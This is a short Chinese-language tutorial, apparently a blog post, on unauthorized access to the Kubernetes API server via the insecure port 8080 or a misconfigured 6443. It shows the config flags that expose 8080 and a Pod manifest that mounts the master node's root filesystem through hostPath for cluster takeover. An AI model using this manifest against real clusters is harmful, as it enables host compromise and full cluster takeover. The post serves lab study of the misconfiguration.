API Server 是集群的管理入口,任何资源请求或调用都是通过kube-apiserver提供的接口进行。默认情况下,API Server提供两个端口服务,8080和6443,配置不当将出现未授权访问。
8080端口,默认不启动,无需认证和授权检查,一旦暴露将导致未授权访问。
6443端口,默认启动需要认证,如果出现配置错误,将system:anonymous用户绑定到cluster-admin用户组,将出现未授权访问。
(1)攻击场景
insecure-port默认值为0,将其修改为8080端口,再添加insecure-bind-address=0.0.0.0,允许远程访问本地的8080端口。
vi /etc/kubernetes/manifests/kube-apiserver.yaml
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
修改kube-apiserver.yaml文件:
无需启动,等待一会以后,8080服务自动起来了,通过浏览器可以访问8080端口返回API列表。
(2)攻击过程
未授权访问的情况下,kubectl可以使用-s参数指定Kubernetes API服务器地址和端口,直接执行命令创建恶意Pod,将其挂载到Master节点,从而实现对整个集群的接管。
yaml文件内容:
apiVersion: v1
kind: Pod
metadata:
name: pod123
spec:
nodeName: k8s-master
containers:
- image: nginx:1.20
name: pod123
volumeMounts:
- mountPath: /data
name: data
volumes:
- name: data
hostPath:
path: /
所有评论(0)